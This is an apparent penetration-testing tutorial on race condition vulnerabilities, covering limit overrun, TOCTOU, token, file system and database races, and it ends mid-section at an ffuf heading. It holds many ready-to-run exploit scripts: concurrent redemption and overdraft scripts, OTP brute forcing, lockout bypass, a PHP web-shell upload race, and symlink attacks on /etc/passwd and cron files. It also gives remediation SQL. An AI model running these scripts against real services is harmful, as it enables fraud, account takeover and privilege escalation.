ᛉ Yggdrasil

Web

Race Condition

15 Sep 2026 · 7,769 words · 35 min

Contents

A complete operational reference for Race Condition Vulnerabilities covering TOCTOU, limit overrun, multi-endpoint races, single-endpoint races, session/token races, file system races, database-level races, and partial construction. Covers detection, exploitation techniques, Burp Suite tooling (Turbo Intruder, HTTP/2 single-packet attack), custom scripts, lab walkthroughs, and remediation. Mapped to MITRE ATT&CK T1548 and CWE-362 (Concurrent Execution Using Shared Resource with Improper Synchronization).


1. Core Concepts & Race Condition Types

RACE CONDITION TAXONOMY:

LIMIT OVERRUN (most exploitable in web) ├── Coupon / discount applied multiple times ├── Gift card redeemed more than once ├── Vote / like submitted more than the allowed amount └── Withdrawal exceeding account balance

TOCTOU — Time-of-Check to Time-of-Use ├── Permission check happens → state changes → action executes ├── File existence check → file replaced → file read/executed └── Balance verified → concurrent debit causes overdraft

MULTI-ENDPOINT Race Conditions ├── Two different endpoints share state without synchronization ├── Register + login race to bypass email verification └── Password reset + session invalidation race

SINGLE-ENDPOINT Race Conditions ├── Same endpoint hit concurrently with different parameters ├── Username change + session fixation └── Email change + confirmation bypass

SESSION / TOKEN Races ├── Password reset token reuse within race window ├── OTP / 2FA code valid across concurrent requests └── JWT refresh token race — multiple valid tokens

FILE SYSTEM Races ├── Temp file creation → symlink swap → privileged write ├── TOCTOU on file permissions (setuid binaries) └── Log rotation race → log injection

DATABASE Races ├── Non-atomic read-modify-write sequences ├── Missing SELECT FOR UPDATE / row-level locking └── UNIQUE constraint bypass via concurrent INSERT

Key Terms: - Race Window — The tiny time gap between a check and the corresponding action where a concurrent request can interfere. - TOCTOU — Time-of-Check to Time-of-Use. The classic race pattern: check state, state changes before use. - Limit Overrun — Exploiting a race window to exceed an intended numerical limit (uses, balance, votes, redemptions). - Single-Packet Attack — HTTP/2 technique to send multiple requests in a single TCP packet, eliminating network jitter from the race window. - Last-Byte Sync — HTTP/1.1 technique: prepare all requests, hold the final byte of each, release simultaneously. - Sub-millisecond window — Some race windows are only a few microseconds wide. HTTP/2 single-packet attack collapses timing to the server's thread scheduling. - State collision — When two concurrent requests read the same state, both pass a check, and both execute the privileged action. - Atomic operation — An operation that cannot be interrupted midway. Database transactions with proper locking are atomic. - Partial construction — An object/session is in an intermediate (insecure) state between creation steps, exploitable by a racing request.


2. How Race Windows Work

2.1 The Classic Race Window

Normal (sequential) flow:
─────────────────────────────────────────────────────────
Request 1:  [CHECK balance=$100] → [DEBIT $100] → [balance=0]
Request 2:                                         [CHECK balance=0] → DENIED
─────────────────────────────────────────────────────────

Race condition — two concurrent requests:
─────────────────────────────────────────────────────────
Request 1:  [CHECK balance=$100] ──────────────── [DEBIT $100]
Request 2:                  [CHECK balance=$100] ─────────── [DEBIT $100]
                                                ↑
                                         Both pass the check.
                                         Both debit $100.
                                         Balance goes to -$100.
─────────────────────────────────────────────────────────

2.2 Why Web Applications Are Vulnerable

Typical web app code (no locking):

if (user.balance >= amount):          ← CHECK  (reads DB)
    user.balance -= amount            ← MODIFY (writes DB)
    db.save(user)
    return "Transfer successful"

Two concurrent requests both read balance = $100.
Both pass the if-check.
Both modify and write balance = $0.
Net effect: $200 removed from $100 account.

2.3 Race Window Size

Large race window (easy to exploit):
─ Check and use are separated by: external API call, email send,
  file write, sleep(), user interaction, queue processing

Small race window (needs timing precision):
─ Check and use separated by: single DB read + write in same function
─ Requires: HTTP/2 single-packet attack, or Turbo Intruder last-byte sync

Sub-millisecond window (very hard, needs lab conditions):
─ Check and use in same atomic DB transaction
─ Usually NOT exploitable from remote over internet
─ May be exploitable on same server (local exploit)

2.4 Identifying Race Windows in Code

# Look for this anti-pattern:

# Step 1 — Read state:
user = db.query("SELECT balance FROM accounts WHERE id = %s", user_id)

# RACE WINDOW STARTS HERE ←

# Step 2 — Check state:
if user.balance >= amount:

    # Step 3 — Modify state (non-atomic with step 1):
    db.execute("UPDATE accounts SET balance = balance - %s WHERE id = %s",
               amount, user_id)

# RACE WINDOW ENDS HERE ←

# Safe version — atomic check+modify:
rows_affected = db.execute(
    "UPDATE accounts SET balance = balance - %s "
    "WHERE id = %s AND balance >= %s",
    amount, user_id, amount
)
if rows_affected == 0:
    return "Insufficient funds"

3. Detection & Fingerprinting

3.1 Identifying Race Condition Candidates

Look for these patterns in web applications:

HIGH VALUE TARGETS:
→ Discount / promo / coupon code redemption endpoints
→ Gift card balance redemption
→ "Limited" stock purchase (buy 1 per user)
→ Referral bonus claiming
→ Voting / rating / liking systems with per-user limits
→ Free trial activation (once per account)
→ Password reset flow (token usage)
→ Email verification bypass
→ Withdrawal / transfer endpoints
→ Rate-limited actions (login attempts, OTP tries)
→ File upload + virus scan + move sequence
→ Registration + privilege assignment flow
→ "Use once" token / invite code endpoints

3.2 Manual Detection — Send Parallel Requests

# Simple test with curl (parallel):
curl -s -X POST https://target.com/api/redeem \
    -H "Content-Type: application/json" \
    -H "Cookie: session=YOUR_SESSION" \
    -d '{"code":"DISCOUNT50"}' &

curl -s -X POST https://target.com/api/redeem \
    -H "Content-Type: application/json" \
    -H "Cookie: session=YOUR_SESSION" \
    -d '{"code":"DISCOUNT50"}' &

curl -s -X POST https://target.com/api/redeem \
    -H "Content-Type: application/json" \
    -H "Cookie: session=YOUR_SESSION" \
    -d '{"code":"DISCOUNT50"}' &

wait
# If more than one request returns "success" → race condition!

3.3 Response Analysis — What to Look For

INDICATORS of successful race exploitation:
→ Multiple "200 OK" / "success" responses to requests that should only
  succeed once (e.g., coupon redemption)
→ Balance/count going negative or below zero
→ Duplicate entries appearing in DB / UI
→ Multiple confirmation emails sent
→ Both "code used" AND "code valid" responses returned in same batch

INDICATORS of race window (even if not yet exploited):
→ Inconsistent responses to identical concurrent requests
  (some 200, some 400/409) — suggests timing-sensitive check
→ Intermittent errors on rapid repeated requests
→ "Already used" error appearing only sometimes across parallel requests

3.4 Detecting TOCTOU Patterns

Look for multi-step flows where state could change between steps:

FLOW PATTERN to watch for:
1. Check performed (GET /api/check or embedded in logic)
2. User / system performs intermediate step (file write, DB update,
   external call, redirect, email send)
3. Action executed based on earlier check result

EXAMPLE INDICATORS in HTTP traffic:
→ Endpoint returns a token / confirmation after check
→ Separate endpoint consumes the token to execute action
→ Time gap between check and use (especially if user-driven)
→ File upload → scan → move pattern (classic TOCTOU)

3.5 Fingerprinting Race Window Size

Use Burp Repeater → "Send group (parallel)" with 2 requests:

LARGE window (> 100ms): Easy — any parallel send works.
MEDIUM window (10–100ms): Use last-byte synchronization.
SMALL window (< 10ms): Use HTTP/2 single-packet attack.
SUB-MS window (< 1ms): Likely requires local/same-server exploit.

Rule of thumb:
- If you can reproduce with 5 parallel curl requests → large window
- If you need Turbo Intruder → medium/small window
- If Turbo Intruder fails → try single-packet attack (HTTP/2)
- If single-packet fails → may not be remotely exploitable

4. Limit Overrun (Most Common)

4.1 What It Is

An application enforces a limit by:
1. Checking if the limit has been reached
2. Performing the action if not

Without locking, two concurrent requests can both pass the check
before either records the action — both succeed, exceeding the limit.

Classic examples:
- Redeem coupon ONCE per account → redeem 5x simultaneously
- Withdraw up to $1000 → withdraw $1000 five times simultaneously
- Vote once per post → vote 50 times simultaneously
- Use free trial once → activate on 10 accounts simultaneously

4.2 Detecting Limit Overrun

# Step 1: Perform the action once legitimately
# Step 2: See the "already used / limit reached" message
# Step 3: Reset state (if possible) or use a fresh target
# Step 4: Send N parallel requests at the same moment

# Quick test (5 parallel):
for i in {1..5}; do
    curl -s -X POST https://target.com/api/coupon/apply \
        -H "Cookie: session=SESSION" \
        -d '{"code":"FREESHIP"}' &
done
wait

4.3 Exploiting Gift Card / Coupon Overrun

# Python — concurrent redemption:
import threading
import requests

TARGET = "https://target.com/api/redeem"
SESSION_COOKIE = "session=YOUR_SESSION_HERE"
PAYLOAD = {"gift_card_code": "GIFTCARD123"}
HEADERS = {
    "Content-Type": "application/json",
    "Cookie": SESSION_COOKIE
}

results = []

def redeem():
    r = requests.post(TARGET, json=PAYLOAD, headers=HEADERS)
    results.append((r.status_code, r.text[:100]))

threads = [threading.Thread(target=redeem) for _ in range(20)]

# Start all threads as close together as possible:
for t in threads:
    t.start()
for t in threads:
    t.join()

for status, body in results:
    print(f"[{status}] {body}")

# Success: multiple 200 responses with "Balance added: $50"

4.4 Voting / Rating Overrun

# Exploit vote limit (1 vote per user per post):
import asyncio
import aiohttp

TARGET = "https://target.com/api/vote"
HEADERS = {"Content-Type": "application/json",
           "Cookie": "session=YOUR_SESSION"}
PAYLOAD = {"post_id": 1337, "vote": "up"}
CONCURRENT = 30

async def vote(session):
    async with session.post(TARGET, json=PAYLOAD,
                            headers=HEADERS) as r:
        return r.status, await r.text()

async def main():
    async with aiohttp.ClientSession() as session:
        tasks = [vote(session) for _ in range(CONCURRENT)]
        results = await asyncio.gather(*tasks)
    for status, body in results:
        print(f"[{status}] {body[:80]}")

asyncio.run(main())

4.5 Balance Overdraft (Transfer / Withdrawal)

# Classic overdraft race — withdraw $100 from $100 balance:
import threading, requests

TARGET = "https://target.com/api/transfer"
HEADERS = {"Content-Type": "application/json",
           "Cookie": "session=YOUR_SESSION"}
PAYLOAD = {"amount": 100, "to_account": "ATTACKER_ACCOUNT"}

def withdraw():
    r = requests.post(TARGET, json=PAYLOAD, headers=HEADERS)
    print(f"[{r.status_code}] {r.text[:80]}")

# Fire 5 simultaneous withdrawals:
threads = [threading.Thread(target=withdraw) for _ in range(5)]
[t.start() for t in threads]
[t.join() for t in threads]

# If vulnerable: multiple "Transfer successful" → balance goes negative

5. Multi-Endpoint Race Conditions

5.1 What It Is

Two DIFFERENT endpoints share a piece of state but neither locks it.

Examples:
→ /api/verify-email  +  /api/login
  Race: Complete login before email verification finishes marking account unverified

→ /api/password-reset/request  +  /api/password-reset/use
  Race: Use the token while another reset request is still processing

→ /api/upload-file  +  /api/process-file
  Race: Process file while upload validation is still running

→ /api/change-role  +  /api/get-admin-token
  Race: Grab admin token during the role-change transition

5.2 Email Verification Bypass

Flow:
1. Register account → server sets account.verified = false
2. Server sends verification email
3. Server ALSO creates session (so you can browse while unverified)

Race:
- Request A: POST /api/register (creates unverified account)
- Request B: POST /api/promote-to-premium (reads account state)

If Request B fires during the window after account creation
but before verified=false is committed → bypass verification.

Test:
1. Send registration request
2. IMMEDIATELY (parallel) send action that requires verified account
3. Check if action succeeds before email verification

5.3 Password Reset + Session Race

# Race: invalidate old sessions vs. use of old session

# Step 1: Trigger password reset
curl -X POST https://target.com/api/reset-password/request \
    -d '{"email":"victim@example.com"}'

# Step 2: While reset processes (old sessions should be invalidated),
#         simultaneously use old session:
curl -s -X GET https://target.com/api/account \
    -H "Cookie: session=OLD_SESSION" &

# If the old session works AFTER the reset triggered →
# session invalidation has a race window

5.4 Multi-Endpoint Detection via Burp

In Burp Suite:
1. Capture Request A (e.g., POST /redeem-coupon)
2. Capture Request B (e.g., GET /checkout)
3. Send both to Repeater
4. Group them: Repeater → "Create tab group"
5. Send → "Send group (parallel)"
6. Observe: does B succeed in a state it shouldn't?

OR use Turbo Intruder with two different request files:
- See Section 12 for Turbo Intruder multi-request setup

6. Single-Endpoint Race Conditions

6.1 What It Is

Same endpoint, hit concurrently with same or different parameters.
The endpoint has internal state transitions that are not thread-safe.

Examples:
→ POST /api/change-email — sends confirmation to BOTH old and new email
  Race: change to email_A and email_B simultaneously
  → both confirmations sent, attacker confirms email_B on victim account

→ POST /api/purchase?item=premium — decrements inventory
  Race: buy last item multiple times → negative inventory, multiple deliveries

→ POST /api/login — increments failed_attempts counter
  Race: two logins at the exact same time might count as one attempt
  → double the allowed login attempts (bypasses lockout)

6.2 Login Lockout Bypass

# Race the failed login counter:
# If two requests arrive simultaneously, the counter may only
# increment once instead of twice.

import threading, requests

TARGET = "https://target.com/api/login"
HEADERS = {"Content-Type": "application/json"}

# Try two passwords at once (each would normally increment counter):
payloads = [
    {"username": "admin", "password": "Password1"},
    {"username": "admin", "password": "Password2"},
]

def login(payload):
    r = requests.post(TARGET, json=payload, headers=HEADERS)
    print(f"[{r.status_code}] {r.text[:80]}")

threads = [threading.Thread(target=login, args=(p,)) for p in payloads]
[t.start() for t in threads]
[t.join() for t in threads]

# Effectively: 2 attempts counted as 1
# Allows more password guesses within the lockout threshold

6.3 Email / Username Change Race

Scenario: POST /api/change-email accepts new email,
          sends confirmation to both old and new addresses.

Race condition:
- Send change to attacker@attacker.com
- Simultaneously send change to victim@victim.com

Both requests process in parallel:
→ Confirmation email goes to attacker@attacker.com (from req 1's state)
→ Account email is set to victim@victim.com (from req 2's commit)
→ Attacker clicks link from req 1 → confirms victim@victim.com account

Or inverse:
→ Change your own account email to victim@victim.com via race
→ Receive confirmation at your address
→ Account now has victim@victim.com but attacker confirmed it

6.4 OTP / Rate Limit Bypass via Single-Endpoint Race

# OTP brute force: bypass per-attempt rate limiting
# by sending all guesses simultaneously

import threading, requests

TARGET = "https://target.com/api/verify-otp"
HEADERS = {"Content-Type": "application/json",
           "Cookie": "session=YOUR_SESSION"}

# Generate all 4-digit OTPs (or a range):
otps = [str(i).zfill(4) for i in range(0, 10000)]

results = []
lock = threading.Lock()

def try_otp(otp):
    r = requests.post(TARGET,
                      json={"otp": otp},
                      headers=HEADERS)
    if "success" in r.text.lower() or r.status_code == 200:
        with lock:
            results.append(otp)
            print(f"[VALID OTP] {otp}")

# Send in batches of 50 concurrent:
batch_size = 50
for i in range(0, len(otps), batch_size):
    batch = otps[i:i+batch_size]
    threads = [threading.Thread(target=try_otp, args=(o,))
               for o in batch]
    [t.start() for t in threads]
    [t.join() for t in threads]
    if results:
        break

7. TOCTOU (Time-of-Check to Time-of-Use)

7.1 Classic TOCTOU Pattern

CHECK:  Is condition X true?  ← state read here
                              ← GAP: state can change here
USE:    Perform action based on X being true

If an attacker can change the state between CHECK and USE → TOCTOU.

7.2 Web Application TOCTOU

Example: File upload with virus scan

1. User uploads file.php.jpg (renamed malicious PHP)
2. Server saves to /tmp/uploads/abc123.jpg   ← CHECK: is it an image?
3. Server runs antivirus scan                ← GAP: file is accessible
4. Server moves to /var/www/uploads/         ← USE: serve file

Race: Between step 3 and 4, access /tmp/uploads/abc123.jpg
→ If file is served from /tmp before it moves → served as PHP → RCE

OR: Race the antivirus window:
→ Upload clean file → AV scan passes → REPLACE with malicious file
   (if /tmp is world-writable) → clean file moved to web root?
   No — but the scan result (clean) is used for the replaced malicious file.

7.3 TOCTOU on Role / Permission Check

Flow:
GET  /api/data     → checks user.role == "admin" → returns admin data
POST /api/role     → changes user.role

Race:
Thread A: GET /api/data (reads role = "user" — NORMALLY denied)
Thread B: POST /api/role {"role":"admin"} (sets role = "admin")

If Thread A's permission check reads AFTER Thread B commits:
→ Thread A sees role = "admin" → returns admin data
→ Thread A's session was NOT admin when request started

(Inverse: change role to admin, simultaneously request privilege before
 old-role revocation is committed → bypass role revocation)

7.4 TOCTOU on Password Reset Token

Vulnerable flow:
1. User requests password reset
2. Server generates token, saves to DB: {token: "abc", used: false}
3. User sends token via POST /api/reset {"token":"abc","newpw":"x"}
4. Server checks: SELECT used FROM reset_tokens WHERE token = 'abc'
5. Server sets: UPDATE reset_tokens SET used=true WHERE token='abc'
6. Server updates password

TOCTOU gap: Between step 4 (check) and step 5 (mark used),
            send the same token again in parallel.

Both requests:
- Read used = false  ← both pass the check
- Both update the password (req 1 to newpw1, req 2 to newpw2)
- Both mark used = true

Attacker result: password is set to whatever req 2 specified,
                 even after the legitimate user already reset it.

8. Session & Token Race Conditions

8.1 JWT Refresh Token Race

Vulnerable flow:
POST /api/refresh → validates refresh_token → issues new access_token + refresh_token
                                             → invalidates old refresh_token

Race: Send two simultaneous refresh requests with the SAME refresh_token.

If not atomic:
- Both requests validate the old token (it's still valid)
- Both issue new tokens
- Both try to invalidate the old token (idempotent — no error)
- Result: TWO valid refresh_tokens + TWO valid access_tokens

Impact: Token family / rotation mechanism bypassed.
        Attacker who stole ONE refresh token can generate permanent tokens.

Test:
curl -s -X POST https://target.com/api/refresh \
    -d '{"refresh_token":"STOLEN_TOKEN"}' &
curl -s -X POST https://target.com/api/refresh \
    -d '{"refresh_token":"STOLEN_TOKEN"}' &
wait

If both return 200 with different access_tokens → VULNERABLE

8.2 Password Reset Token Reuse

# Use Burp Repeater → Group → Send parallel:
# Both requests use the same reset token before it's invalidated

# Manual test:
TOKEN="reset_token_from_email"

curl -s -X POST https://target.com/api/reset-password \
    -d "{\"token\":\"$TOKEN\",\"new_password\":\"Hacked1!\"}" &

curl -s -X POST https://target.com/api/reset-password \
    -d "{\"token\":\"$TOKEN\",\"new_password\":\"Hacked2!\"}" &

wait

# If both return 200 → token was reused → race condition
# One of those passwords is now set — attacker picks their own

8.3 2FA / OTP Race — Multiple Valid Windows

Vulnerable scenario:
- POST /api/2fa/verify with OTP code
- Server checks: is OTP valid AND not yet used?
- Server marks OTP as used AFTER verification

Race: Send the same OTP twice simultaneously.
Both requests read "not used" → both pass → both authenticate.
One session for attacker, one for victim (if sharing OTP).

Or: MFA fatigue race
- Trigger 2FA → victim gets push notification
- Simultaneously verify with stolen code AND with "remember device"
- Race condition: "remember device" might apply before 2FA is fully checked

8.4 Session Fixation via Race

Scenario: Login changes session ID (secure) but there's a race window.

1. Attacker fixes session ID (pre-login): session=FIXED_ID
2. Victim logs in:
   - Server reads request with session=FIXED_ID
   - Server creates new session = RANDOM_ID
   - GAP: old session=FIXED_ID still briefly valid
   - Server deletes session=FIXED_ID
3. Attacker sends request with session=FIXED_ID during the GAP
   → Gets authenticated response before session is invalidated

9. File System Race Conditions

# Scenario: Privileged script writes to /tmp/output.txt as root

# Vulnerable code (running as root):
# echo "result" > /tmp/output.txt   ← CHECK: /tmp/output.txt doesn't exist
#                                   ← GAP
# (create and write file)           ← USE: writes as root

# Attacker race:
while true; do
    rm -f /tmp/output.txt
    ln -sf /etc/passwd /tmp/output.txt   # symlink to target
done &

# Wait for privileged process to run:
# It checks /tmp/output.txt doesn't exist (it doesn't momentarily)
# Creates what it thinks is a new file
# Actually writes to /etc/passwd via symlink
# → Privilege escalation

# Better automated version using inotifywait:
inotifywait -e create /tmp/ 2>/dev/null | while read; do
    ln -sf /etc/cron.d/evil /tmp/output.txt 2>/dev/null
done

9.2 Web Upload TOCTOU

# Exploit file upload race:
# Target: upload validates extension, then moves file
# Gap: between validation and move, file is accessible

import requests, threading, time

TARGET_UPLOAD = "https://target.com/api/upload"
TARGET_ACCESS = "https://target.com/uploads/shell.php"
HEADERS = {"Cookie": "session=YOUR_SESSION"}

def upload():
    # Upload PHP file disguised as image:
    files = {"file": ("shell.php%00.jpg",
                      b"<?php system($_GET['cmd']); ?>",
                      "image/jpeg")}
    r = requests.post(TARGET_UPLOAD, files=files, headers=HEADERS)
    print(f"[UPLOAD] {r.status_code} {r.text[:60]}")

def access():
    # Repeatedly try to access the file during validation gap:
    for _ in range(50):
        r = requests.get(TARGET_ACCESS + "?cmd=id", headers=HEADERS)
        if "uid=" in r.text:
            print(f"[RCE!] {r.text[:100]}")
            break
        time.sleep(0.01)

t_upload = threading.Thread(target=upload)
t_access = threading.Thread(target=access)
t_upload.start()
t_access.start()
t_upload.join()
t_access.join()

9.3 Log File Race

# Scenario: Log rotation script runs as root, renames log file,
#           then creates a new one. Race window: between rename and create.

# Vulnerable log rotation:
# mv /var/log/app/app.log /var/log/app/app.log.1  ← renames old
# touch /var/log/app/app.log                       ← creates new
# chown www-data /var/log/app/app.log

# Race:
# Between mv and touch, create a symlink:
inotifywait -e moved_from /var/log/app/ 2>/dev/null | while read; do
    ln -sf /etc/cron.d/attacker /var/log/app/app.log
    # Now "touch" creates /etc/cron.d/attacker and chown gives us write
done

10. Database-Level Race Conditions

10.1 Non-Atomic Read-Modify-Write

-- VULNERABLE pattern (two separate statements):
SELECT balance FROM accounts WHERE id = 1;
-- RACE WINDOW: another transaction can modify balance here
UPDATE accounts SET balance = balance - 100 WHERE id = 1;

-- SAFE — Atomic conditional update:
UPDATE accounts
SET balance = balance - 100
WHERE id = 1 AND balance >= 100;

-- Check rows affected:
-- If 0 rows updated → insufficient funds (thread-safe)
-- If 1 row updated → success (only one concurrent request can subtract)

10.2 Missing SELECT FOR UPDATE

-- VULNERABLE — two transactions race:
-- TX1: SELECT balance FROM accounts WHERE id=1;  → 100
-- TX2: SELECT balance FROM accounts WHERE id=1;  → 100
-- TX1: UPDATE accounts SET balance=0 WHERE id=1;
-- TX2: UPDATE accounts SET balance=0 WHERE id=1;  ← also succeeds!

-- SAFE — pessimistic locking:
BEGIN;
SELECT balance FROM accounts WHERE id = 1 FOR UPDATE;
-- ← TX2 BLOCKS here until TX1 commits
UPDATE accounts SET balance = balance - 100 WHERE id = 1;
COMMIT;

-- SAFE — optimistic locking (version field):
-- Add: version INT to table
SELECT balance, version FROM accounts WHERE id = 1;  -- version = 5
UPDATE accounts
SET balance = balance - 100, version = version + 1
WHERE id = 1 AND version = 5;  -- fails if version changed since read
-- If 0 rows: someone else modified it → retry or abort

10.3 UNIQUE Constraint Race

-- VULNERABLE: check-then-insert (non-atomic):
-- Concurrent INSERTs for same username:

-- Request 1: SELECT COUNT(*) FROM users WHERE username='admin'; → 0
-- Request 2: SELECT COUNT(*) FROM users WHERE username='admin'; → 0
-- Request 1: INSERT INTO users (username) VALUES ('admin');
-- Request 2: INSERT INTO users (username) VALUES ('admin');
-- Result: DUPLICATE usernames in table (if no UNIQUE constraint)

-- SAFE — rely on DB UNIQUE constraint:
CREATE UNIQUE INDEX idx_username ON users(username);

-- Then use INSERT and catch the duplicate key error:
try:
    db.execute("INSERT INTO users (username) VALUES (?)", [username])
except IntegrityError:
    return "Username taken"

-- OR use INSERT IGNORE / ON CONFLICT:
INSERT OR IGNORE INTO users (username) VALUES (?);       -- SQLite
INSERT INTO users (username) VALUES (?)
    ON CONFLICT (username) DO NOTHING;                   -- PostgreSQL
INSERT IGNORE INTO users (username) VALUES (?);          -- MySQL

10.4 Exploiting DB Race via Concurrent Requests

# Test for UNIQUE constraint bypass or duplicate account creation:
import threading, requests

TARGET = "https://target.com/api/register"
HEADERS = {"Content-Type": "application/json"}
PAYLOAD = {"username": "admin", "password": "Password1!", "email": "a@b.com"}

results = []
def register():
    r = requests.post(TARGET, json=PAYLOAD, headers=HEADERS)
    results.append((r.status_code, r.json() if r.headers.get(
        "Content-Type","").startswith("application/json") else r.text[:80]))

threads = [threading.Thread(target=register) for _ in range(10)]
[t.start() for t in threads]
[t.join() for t in threads]

success_count = sum(1 for s, _ in results if s == 200)
print(f"Successes: {success_count} / {len(results)}")
# If > 1 success for same username → duplicate accounts possible

11. HTTP/2 Single-Packet Attack

11.1 Why It Matters

Traditional HTTP/1.1 parallel requests:
→ Each request travels in separate TCP packets
→ Network jitter (5–50ms) creates timing differences between arrivals
→ Server processes requests at slightly different times
→ Small race windows (< 10ms) are hard to hit

HTTP/2 Single-Packet Attack:
→ HTTP/2 multiplexes multiple streams over ONE TCP connection
→ All requests can be packed into a SINGLE TCP packet
→ Server receives ALL requests at the EXACT SAME MICROSECOND
→ Collapses timing variance to server-side thread scheduling only
→ Makes sub-10ms race windows reliably exploitable

11.2 How the Single-Packet Attack Works

HTTP/1.1 Last-Byte Synchronization (fallback for HTTP/1.1):
┌─────────────────────────────────────────────────────────┐
│ Prepare all requests, hold last byte of each body        │
│ Simultaneously release all final bytes                   │
│ Sends all requests as close together as possible         │
│ Still subject to network jitter                          │
└─────────────────────────────────────────────────────────┘

HTTP/2 Single-Packet Attack:
┌─────────────────────────────────────────────────────────┐
│ Open one HTTP/2 connection                               │
│ Send all request HEADERS on their own frames             │
│ Send all request BODIES + END_STREAM on same TCP segment │
│ → All arrive at server kernel buffer simultaneously      │
│ → Server processes all at effectively the same time      │
└─────────────────────────────────────────────────────────┘

11.3 Burp Suite — Single-Packet Attack Setup

1. Capture the target request in Burp Proxy
2. Send to Repeater (Ctrl+R)
3. Right-click tab → "Duplicate tab" × N (e.g., 20 copies)
4. Select all tabs → "Add to group" (or create new group)
5. In the group, click dropdown arrow next to "Send"
6. Select "Send group (single-packet attack)"
   - This uses HTTP/2 to pack all requests into one packet
   - Falls back to last-byte sync if HTTP/2 not supported

Key settings:
→ Ensure "Connection" header is NOT set to "close" (keep-alive needed)
→ Make sure target supports HTTP/2 (check via Burp → Target → Site map)
→ If target is HTTP/1.1 only → use "Send group (parallel)" instead

11.4 Single-Packet Attack — Manual Python Implementation

# HTTP/2 single-packet race using httpx (supports HTTP/2):
import httpx
import asyncio

TARGET = "https://target.com/api/redeem"
HEADERS = {
    "Content-Type": "application/json",
    "Cookie": "session=YOUR_SESSION"
}
PAYLOAD = {"code": "PROMO50"}
CONCURRENT = 20

async def attack():
    # httpx HTTP/2 client — all requests share one connection:
    async with httpx.AsyncClient(http2=True, verify=False) as client:
        tasks = [
            client.post(TARGET, json=PAYLOAD, headers=HEADERS)
            for _ in range(CONCURRENT)
        ]
        # asyncio.gather fires all tasks effectively simultaneously:
        responses = await asyncio.gather(*tasks, return_exceptions=True)

    for r in responses:
        if isinstance(r, Exception):
            print(f"[ERR] {r}")
        else:
            print(f"[{r.status_code}] {r.text[:80]}")

# Install: pip install httpx[http2]
asyncio.run(attack())

11.5 Warming the Connection (Pre-flight Technique)

Problem: First request on a new connection is slow (TLS handshake).
This timing difference can cause the race to fail for the first request.

Solution: Send a "warm-up" request first, then race.

In Burp:
1. Send one request manually to establish the connection
2. Then immediately send the group (single-packet)

In Python:
async def attack():
    async with httpx.AsyncClient(http2=True) as client:
        # Warm-up: harmless GET to establish connection
        await client.get("https://target.com/", headers=HEADERS)

        # Now race:
        tasks = [client.post(TARGET, json=PAYLOAD, headers=HEADERS)
                 for _ in range(20)]
        responses = await asyncio.gather(*tasks)

12. Exploitation Tooling — Burp, Turbo Intruder, Custom Scripts

12.1 Burp Repeater — Parallel Group Send

Setup:
1. Capture request → Send to Repeater
2. Duplicate tab: Ctrl+R multiple times (or right-click → Duplicate)
3. Select all tabs in Repeater → right-click → "Add to group"
4. Use dropdown: "Send group (parallel)" for HTTP/1.1
               OR "Send group (single-packet attack)" for HTTP/2

Tip: Use "Create group" feature and name it for organization.
Tip: Responses appear color-coded by status code in group view.

12.2 Turbo Intruder — Basic Race

# Turbo Intruder script for limit overrun:
# Extensions → Turbo Intruder → right-click request → Send to Turbo Intruder

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=20,
                           requestsPerConnection=1,
                           pipeline=False)

    # Queue 20 identical requests to fire simultaneously:
    for i in range(20):
        engine.queue(target.req, gate='race')

    # Fire all queued requests at the same moment:
    engine.openGate('race')

def handleResponse(req, interesting):
    table.add(req)

12.3 Turbo Intruder — Multi-Request Race

# Race two different requests:
# e.g., Request A = apply coupon, Request B = checkout

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=20,
                           requestsPerConnection=1,
                           pipeline=False)

    # Request A (coupon apply) — queued 10x:
    req_a = """POST /api/coupon/apply HTTP/1.1
Host: target.com
Content-Type: application/json
Cookie: session=SESSION_A

{"code":"DISCOUNT50"}"""

    # Request B (checkout) — queued 10x:
    req_b = """POST /api/checkout HTTP/1.1
Host: target.com
Content-Type: application/json
Cookie: session=SESSION_A

{"cart_id":"CART123"}"""

    for _ in range(10):
        engine.queue(req_a, gate='race')
    for _ in range(10):
        engine.queue(req_b, gate='race')

    engine.openGate('race')

def handleResponse(req, interesting):
    table.add(req)

12.4 Turbo Intruder — Last-Byte Synchronization (HTTP/1.1)

# For HTTP/1.1 targets where single-packet isn't available:
# Send all requests except the last byte, then release simultaneously

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=30,
                           requestsPerConnection=1,
                           pipeline=False)

    # 'finalPacket' holds the last byte until gate opens:
    for i in range(30):
        engine.queue(target.req, gate='race1')

    engine.openGate('race1')  # release all final bytes simultaneously

def handleResponse(req, interesting):
    table.add(req)

12.5 Custom Python Race Script — Template

#!/usr/bin/env python3
"""
Race Condition Exploitation Template
Usage: python3 race.py
"""
import asyncio
import httpx
import sys

# ── CONFIG ──────────────────────────────────────────────────────────────
TARGET_URL    = "https://target.com/api/redeem"
SESSION_COOKIE = "session=YOUR_SESSION_HERE"
PAYLOAD       = {"code": "GIFT123"}
CONCURRENCY   = 20       # Number of parallel requests
USE_HTTP2     = True     # Set False for HTTP/1.1 targets
WARMUP        = True     # Send warm-up request first
# ────────────────────────────────────────────────────────────────────────

HEADERS = {
    "Content-Type": "application/json",
    "Cookie": SESSION_COOKIE,
}

async def send_request(client: httpx.AsyncClient, idx: int):
    try:
        r = await client.post(TARGET_URL, json=PAYLOAD, headers=HEADERS,
                              timeout=10)
        return idx, r.status_code, r.text[:120]
    except Exception as e:
        return idx, 0, str(e)

async def race():
    limits = httpx.Limits(max_connections=CONCURRENCY,
                          max_keepalive_connections=CONCURRENCY)
    async with httpx.AsyncClient(http2=USE_HTTP2,
                                 verify=False,
                                 limits=limits) as client:
        if WARMUP:
            print("[*] Warming up connection...")
            try:
                await client.get(TARGET_URL.rsplit("/", 1)[0] + "/",
                                 headers=HEADERS, timeout=5)
            except Exception:
                pass

        print(f"[*] Firing {CONCURRENCY} concurrent requests...")
        tasks = [send_request(client, i) for i in range(CONCURRENCY)]
        results = await asyncio.gather(*tasks)

    success = 0
    for idx, status, body in sorted(results):
        flag = "✓" if status == 200 else "✗"
        print(f"  [{flag}] #{idx:02d} HTTP {status} → {body}")
        if status == 200:
            success += 1

    print(f"\n[+] {success}/{CONCURRENCY} requests succeeded.")
    if success > 1:
        print("[!] POSSIBLE RACE CONDITION — multiple successes!")

if __name__ == "__main__":
    asyncio.run(race())

12.6 ffuf for Race Condition Testing

# ffuf can send parallel requests useful for quick race testing:

